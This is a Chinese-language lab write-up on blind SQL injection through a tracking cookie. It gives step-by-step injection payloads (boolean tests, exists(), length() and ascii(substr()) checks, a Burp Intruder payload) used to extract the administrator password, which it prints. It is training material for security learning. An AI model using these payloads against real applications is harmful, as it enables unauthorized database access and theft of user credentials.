文章目录
前言:
实验室标题为:
利用条件响应进行 SQL 盲注
等级:执业者
简介:
本实验室包含一个盲 SQL 注入漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含已提交 cookie 值的 SQL 查询。
SQL 查询结果不会返回,也不会显示错误信息。但应用程序包含一个 如果查询返回任何记录,则在页面中显示欢迎返回消息。
数据库包含一个名为users的不同表,其中有名为username和password的列。您需要利用盲 SQL 注入漏洞找出管理员用户的密码。
要解决实验问题,请以管理员用户身份登录。
进入实验室
显示为一个商店页面
根据已知信息,可以初步判断页面存在 cookie 布尔盲注
构造 payload
这里借助谷歌插件 EditThisCookie 来进行测试
依旧是先判断闭合,输入单引号+注释符,页面出现Welcome back!
xxxx' --
and 1=2 判断
输入 and 1=1,页面出现Welcome back!;输入 and 1=2,页面中Welcome back!消失
xxxxx' and 1=1 --
通关页面是否出现Welcome back!,可以确定存在布尔盲注
盲注不会将数据库的查询结果展示出来,只能依靠猜来判断表名
这就需要掌握几个常用的函数
length()
返回字符串的长度
substr()
截取字符串,substr(str,pos,len)
ascii()
返回字符串的 ascii 码
exists()
判断某表是否存在
官方实验室给出的 payload 如下:
xxxx' and (select 'a' from users limit 1)='a' --
select 后面跟着的是一个数字常量’a’,而不是具体的列名。这意味着不管 users 表里有什么数据,这个子查询都会返回’a’这个值。这里有一个 from users,所以这个子查询的执行应该依赖于 uses 表中是否有数据存在,也就是判断是否存在 uses 表。
limit 1 表示只返回结果中的第一行,整个子查询的作用应该是从 uses 表中选取一行,并返回一个包含 ‘a’的单列结果。如果 uses 表中有至少一行数据,那么这个子查询的结果就是’a’;如果 uses 表是空的,那么这个子查询就不会返回任何结果,或者说返回 null。在 sql 中 null 与任何值的比较都是 null,不是 true 或 false
这个等式的作用是检查 uses 表中是否存在至少一条记录。如果存在,则返回 true;否则返回 null 或 false,具体取决于数据库的实现。这种写法可能用于某些需要布尔判断的场景,比如在 where 子句中进行条件过滤或者作为返回布尔值的表达式
示例:
SELECT * FROM other_table WHERE (SELECT 'a' FROM users LIMIT 1) = 'a';
仅当 uses 表有数据时,才返回 other_table 的结果
与 exists 相比,exists(select 1 from uses)更直接高效,因为它无需比较值,只需要判断是否存在记录
在条件语句中(如 where)中,null 会被视为 false,因此当 users 表为空时,条件不成立
该等式通过固定值比较,间接实现了对 uses 表是否非空的检查,虽然可行,但更推荐 exists()
exists() 函数判断是否存在 users 表
xxxx' and exists(select 1 from users) --
判断是否存在 administrator 用户
xxxx' and exists(select 1 from users where username='administrator') --
length() 函数判断密码的位数
xxxx' and exists(select 1 from users where username='administrator' and length(password)=20) --
substr()函数切割字符结合 burp 爆破密码的 ascii 值
xxxx' and exists(select 1 from users where username='administrator' and ascii(substr(password,1,1))>3) --
再根据 ascii 码对照表确定密码
v52n8q900mg30upfvae0
成功登录管理员账户
官方实验的思路是直接爆破密码,同样是通关修改偏移量来确定密码的值
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§
笔者的思路是通过爆破密码的 ascii 码值来确定密码